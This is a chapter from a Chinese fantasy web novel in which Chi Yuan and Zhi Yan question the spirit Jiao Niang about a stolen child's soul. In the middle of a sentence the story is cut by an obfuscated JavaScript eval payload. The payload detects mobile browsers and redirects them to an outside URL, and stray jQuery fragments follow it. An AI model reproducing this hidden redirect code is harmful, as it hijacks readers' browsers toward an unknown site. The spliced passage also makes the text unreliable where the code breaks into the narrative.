听完娇娘的审讯结果便已至深夜,结束之后,赤嫄看向梅姑和未竟,他们在院内守了一天,脸上流露出疲惫,于是道:“已经连着好几晚了,你们早点去休息吧。”
“殿下,我不累,我陪着您吧。”
梅姑率先开口,再看向未竟,他也一步未动。
赤嫄看着执着的两人,叹了口气,“织炎留下来和我一起,你们退下吧,明日就是三日之期的最后一日了,若是幕后之人趁此时机来袭,囡囡那边还要靠你们护着。”
梅姑和未竟看向织炎,见他点头,这才退了出去。
一旁的织炎又重新拿起了放在桌子上的供词,眉头紧锁,不知在想些什么。
“怎么了?”赤嫄走上前,看着他神情专注的模样,忍不住开口询问:“可是供词有什么不对?”
织炎摇头,拿着供词凑到赤嫄面前,指着上面的一处,道:“娇娘说,她亲自去摘的幽冥草。”
赤嫄点头,没错,刚刚未竟回话的时候,也说幽冥草市娇娘独身亲自去摘的。
“有什么问题吗?”
赤嫄绕过桌子,坐在雕花木椅上,手不断地在扶手上摩擦,表情凝重。
“你还记得我们当时去紫琼崖下找幽冥草时,在幽冥草旁边发现的血迹吗?”
赤嫄想起来了,当时察觉到身后有人跟踪,紫琼崖底也有异样,她和织炎分头行动,在崖底探查的时候,在现场发现过血迹,而且还有打斗痕迹。
魅是天生的精灵,与幽冥草这种先天灵草是天然亲近的,正常来说,若是娇娘采摘幽冥草,定然不会被幽冥草攻击。
当时的情况,要么就是还有其他人去摘幽冥草,却被护着幽冥草的阵法攻击,要么,娇娘的身份有问题。
赤嫄和织炎进到侧屋的时候,娇娘正懒洋洋地倚靠在榻上,窗外的月光透过薄透的桐油纸洒落进来,昏暗的光线让赤嫄有些看不清娇娘脸上的表情。
“你们怎么又来了?”娇娘这一天,先是被跟踪,然后又差点被自己的爱人取了性命,好不容易获救,结果又被关到这黑乎乎的屋子里,此刻她的耐性已经被渐渐磨灭,说话的语气中也带了几分厌烦。
“娇娘,你可还记得,你是怎么诞生的吗?”
赤嫄素手一挥,房间内的烛火被点亮,两人先后走到软榻对面的雕花椅上坐定。
织炎看了赤嫄一眼,冷声开口,“娇娘,你说你是从画中诞生,与画中之人拥有一样的容貌,那你可知道,画中之人与净灵道子之间是何关系吗?”
在说起那幅画时,娇娘的身子猛然坐起,手指紧紧扣在桌案上,原本纤细白皙的手背上却有一道浅色的疤痕,俏丽的蔻丹也因为太过用力而掉落,她的脸色变得极为难看,眼眶之中也布满了红色的血丝,脸色苍白,神情愤恨,此刻的她,哪里还能看出白日里千娇百媚的模样?
似是意识到自己的失态,娇娘倏地收回桌案上的手,随手挽起胸前的一缕碎发,缓缓地半倚靠在榻上。
眉目流转间,又成了那个妩媚妖娆的魅。
织炎的目光落在榻上的桌案上,眸光一闪,随即移开了视线。
她掩唇轻笑,眼波慵懒地扫过对面的人,“知道如何?不知道又如何?”
“不过就是一个人的伤心事,你们偏还要拎出来伤人家的心。”
娇娘语气娇娇,眸光水意盈盈,红彤彤地似是含着无限委屈。
听到这话,那便是知道了。
赤嫄和织炎对视一眼,暗自点头。
“你既知道他不过是把你当做已逝妻子的替身,你为何还要跟着他,替他做事?”
赤嫄不懂,难道情爱真的能让人迷了眼睛,蒙了心智吗?
就算是这个人爱的不是自己,但只要能和他在一起,为人替身也无所谓吗?
她不理解。
“你不懂?”娇娘笑出声,眼角的眼泪溢出眼眶,她抬起头,强忍着不让眼泪留下,但泪珠还是流淌过白皙的肌肤,隐入一头乌发间。
她像是意识到自己问了什么,自嘲一笑:“也对,你们这些人,生来便血脉高贵,天赋出众,我们这种小小精灵在你们眼里,不过就是蝼蚁,连性命都不配拥有。”
“你们哪里知道,我们这种人,为了活下去,需要有多么努力。”
赤嫄错过头,没有出声。
她说得对。
鸾鸟一族身为朱雀之神的后裔,血脉高贵,从来都不需要为生存担忧,因为他们生来强大。
尽管前世她受尽折磨,重生之后,她所思所想,也不过就是要取朝措性命,踏平魔界,为前世的妖族和自己报仇。
若不是来了青宜州,若不是见到了那里被鬼炁侵扰的百姓,或许她还会走和前世一样的路。
修炼,提升修为,然后接管暗部。
织炎不知道赤嫄心中所想,他看着故作柔弱的娇娘,伸手一挥,周围似乎有什么被打破了。
原本沉浸在回忆中的赤嫄猛然清醒过来,看向娇娘。
方才还在那处诉苦痛斥的娇娘,转眼间又懒洋洋地躺在榻上,肩膀上的衣袖滑落,露出柔光若腻的肌肤。
“呀,不小心被识破了啊。”
娇娘故作惊讶道,面上似笑非笑,她朝着赤嫄的方向轻点下巴,“公子可不要怪罪奴家啊,那位姑娘可是沉浸其中,不能自拔呢。”
织炎关切的目光看过来,“可有不适?”
魅的厉害之处便在于他们能悄无声息之间便引人进入自己的幻境,进入幻境中的人,无论被激发出什么样的情绪,都会成为魅的养料。
愈是浓烈的情绪他们愈是喜欢。
若不是织炎出手,赤嫄恐怕仍然不知道自己已经进入了娇娘的幻境。
赤嫄朝着织炎摇了摇头,脸色有些难看,落在娇娘身上的目光冷而冽,身上杀意腾升。
娇娘有些瑟缩。
“你是不是梵音?囡囡的魂魄在哪里?”
赤嫄失了耐性,索性直接问出了口。
娇娘听到梵音二字时,嘴边的笑容一僵,随即像是什么都不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162794|149116||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道似的,往前凑近,黑白分明的瞳孔中满是天真,“姑娘,什么梵音,我不认识啊,还有那个小姑娘的魂魄,自然是给了净灵了啊。”
赤嫄没有说话,定定地看着她,娇娘被她的目光看得有些不自在,不由往内挪了挪身子。
半晌,赤嫄收回目光,转身出了房间。
织炎见状,急忙跟上。
娇娘看着两人走出了房间,伸手想要说些什么,最后却又放了下来。
她欲言又止,浓密的睫毛垂下,掩饰了眸中神色,想了想,她长吁口气,伸手轻轻拍了拍被压褶的裙角,懒懒的躺回榻上,闭目养神。
“她就是梵音。”
赤嫄十分肯定,方才她询问的时候,娇娘下意识的动作骗不了人,更何况,她还一直盯着她。
织炎关上门,走到赤嫄身前,看着她严肃的表情,忍不住开口询问:“阿嫄,你方才进了娇娘的幻境……”
“我没事。”不等织炎询问,赤嫄开口打断了他的话,面对织炎关切的目光,她突然有些不知所措,只好转过身子,背对着他。
“当务之急,是找回囡囡的魂魄。”赤嫄生硬地转移话题,“囡囡的魂魄已经离身两日,等到明天晚上,若是我们还找不回她的魂魄,那么便真的没有办法了。”
织炎见她不想说,他便也不再逼问,顺着她的话题开口:“我们要找到净灵道子。”
“他受了伤,身上还带着我的火灵,我能够追踪到他。”
当时出手时,她便留了后手。
他一个人族,骤然来到灵族,没有其他的人帮助,如何能养出画中魅,又是如何得知幽冥草能复活他的妻子。
按照娇娘的供词,囡囡的魂魄于他并无大用,他又为何要费尽周章地取走呢?
一层一层抽丝剥茧下去,赤嫄总觉得,这后面还有更大的黑手。
“明日一早,我们去找净灵。”织炎果断地做了安排,“你今天累了,需要好好休息。”
平日里,都是赤嫄决定,织炎虽然不出声,但最后他都会默默配合。
这是他第一次,强势地帮赤嫄做了决定。
难得,她没有反对,顺从地回了房间休息。
灵族虽然也临近丹穴山,但相比于紫琼崖,灵族王城隐于山水之间,城中随处可见溪水流潺,溪水清澈如镜,四周花香缭绕,温暖如春。
一大早,赤嫄便被屋外的鸟叫声吵醒了,昨夜一夜好眠。
自重生回来,她时常被梦境困扰,几乎没有整夜睡着过。
她起身打开窗户,温暖明亮的阳光打在窗格上,洒落在赤嫄脸上。
她惬意地伸了个懒腰,长长吐出一口气。
用过早膳后,赤嫄和织炎刚走到院内,便见未竟早已身着黑衣,手中持剑,笔直地立在那里等着了。
织炎:“……”
“殿下,我随您外出。”
看着织炎无语的表情,赤嫄眼中划过一丝笑意。
刚要开口拒绝,门口突然传来一道熟悉的声音。